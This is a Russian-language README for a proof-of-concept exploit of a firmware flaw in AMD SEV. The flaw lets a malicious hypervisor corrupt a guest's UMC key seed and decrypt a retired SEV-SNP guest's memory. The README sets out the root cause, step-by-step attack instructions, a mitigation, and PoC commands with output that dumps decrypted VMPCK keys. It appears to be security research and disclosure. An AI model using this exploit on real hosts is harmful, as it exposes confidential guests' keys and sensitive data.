Уязвимость в прошивке SEV

В этом репозитории содержится эксплойт для уязвимости в прошивке SEV. Эксплойт позволяет расшифровывать произвольную память гостевой системы SEV-SNP после её вывода из эксплуатации.

Проверено на версии 1.55.16 (последней на момент написания).

Первопричина

snp_reclaim_buffer безусловно пытается записать изменения RMP обратно, даже когда адрес не покрыт RMP. Если address не покрыт RMP, адрес элемента RMP page_rmp_paddr никогда не инициализируется должным образом и остаётся в своём начальном значении 0. В результате прошивка пытается записать изменения элемента RMP обратно по адресу 0. Это плохо, потому что адрес 0 покрыт RMP и его не следует записывать без дополнительных проверок. Если address находится вне области, покрытой RMP, page_rmp_entry никогда не инициализируется должным образом и содержит мусорные данные из стека. На практике эти мусорные данные постоянны.

В коде есть комментарий, предупреждающий именно об этом паттерне, поэтому я не удивлюсь, если я не первый, кто сообщает об этой проблеме.

snp_reclaim_buffer вызывается с адресом страницы состояния кольцевых буферов SEV, когда гипервизор запрашивает выход из режима кольцевого буфера. Этот адрес контролируется атакующим. Для этого адреса есть некоторые проверки, но страницы по умолчанию (т.е. страницы вне области, покрытой RMP) явно разрешены.

Эксплойт

Мы можем использовать эту запись по адресу 0, разместив там страницу контекста гостя. Удачно, что первым полем страницы контекста гостя является зерно ключа UMC, размер которого в точности совпадает с размером элемента RMP (обе — 16 байт). Обманув прошивку, заставив её записать изменения обратно по адресу 0, мы можем повредить зерно ключа UMC. Неинициализированный элемент RMP, который записывается, всегда одинаков, поэтому повреждённое зерно ключа UMC тоже всегда будет почти одинаковым: счётчик подстраниц (9 бит) в элементе RMP не записывается, а все остальные поля записываются. Многократно создавая новые страницы контекста гостя, которые каждый раз будут иметь разные случайные начальные значения счётчика подстраниц, мы в итоге можем создать несколько гостей с одинаковым зерном ключа UMC.

Чтобы использовать уязвимость, можно выполнить следующие шаги:

Создайте страницу контекста гостя по адресу 0 для гостевой системы-жертвы.
Используйте уязвимость, чтобы повредить зерно ключа UMC гостевой системы-жертвы.
Активируйте страницу контекста гостя-жертвы и запустите гостевую систему-жертву.
Выведите гостевую систему-жертву из эксплуатации.
Создайте страницу контекста гостя по адресу 0 для гостевой системы атакующего.
Используйте уязвимость, чтобы повредить зерно ключа UMC гостевой системы атакующего. Все биты, кроме 9, гарантированно совпадут с гостевой системой-жертвой.
Если зерно ключа UMC гостя атакующего совпадает с зерном жертвы, продолжайте; в противном случае перейдите к шагу 5.
Активируйте страницу контекста гостя атакующего и запустите его с включённым флагом отладки.
Назначьте память гостевой системы-жертвы гостевой системе атакующего.
Используйте команду SNP_DBG_ENCRYPT, чтобы расшифровать память гостевой системы-жертвы с помощью страницы контекста гостя атакующего. Это удастся, потому что гостевая система-жертва и гостевая система атакующего используют общее зерно ключа UMC.

Влияние

Из-за того, что мы можем расшифровать память только после вывода гостя из эксплуатации, невозможно создать поддельные отчёты аттестации, даже если у нас есть доступ к секретам гостя. Мы можем создать поддельные отчёты аттестации, только если гость был мигрирован на другой хост до вывода из эксплуатации: в этом случае секреты (т.е. VMPCK) выведенного из эксплуатации гостя также будут работать на новой мигрированной системе.

Однако на практике многие приложения хранят другую чувствительную информацию (т.е. закрытые ключи, ключи шифрования диска), которая может быть раскрыта с помощью этого эксплойта.

Меры по смягчению

Элемент RMP следует записывать обратно только в том случае, если страница не находилась в состоянии по умолчанию.

Использование PoC

Измените в BIOS область, покрытую RMP, на 64 ГиБ (0x10000 страниц по 1 МиБ). Если ваша система этого не поддерживает, патчи для Linux придётся соответствующим образом скорректировать. PoC тестировался на системе с 128 ГиБ памяти.
Примените патчи из папки linux-patches к последнему коммиту репозитория https://github.com/AMDESE/linux/commits/snp-host-v10. Соберите, установите и загрузите ядро.
Запустите гостевую систему-жертву SEV-SNP.
Пока гость ещё работает, получите (зашифрованное) зерно ключа UMC.
```
root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
118402003190020000d0150701000000
```
Остановите гостевую систему-жертву.
Просмотрите журналы ядра, чтобы найти расположение секретной страницы, созданной при запуске.
```
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[  463.851449] kvm_amd: Detected secret page at pfn 171a24
```
Перезагрузите модули ядра ccp, kvm и kvm_and:
```
root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
```
Похоже, патчи Linux нарушают работу RMP, и эта перезагрузка переинициализирует RMP.

Запустите PoC.

root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
    Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
[11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
Raw page:
000: 0300000000000000110fa0000000000000000000000000000000000082837143
020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000

Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 00000000000000000000000082837143
vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200

Обратите внимание, что в секретных страницах нет ничего особенного: этот эксплойт также можно использовать для расшифровки обычных страниц. В PoC используются секретные страницы, потому что их содержимое очень узнаваемо, что позволяет легко увидеть, что расшифровка памяти жертвы прошла успешно.

cve-2023-31355-poc

Популярное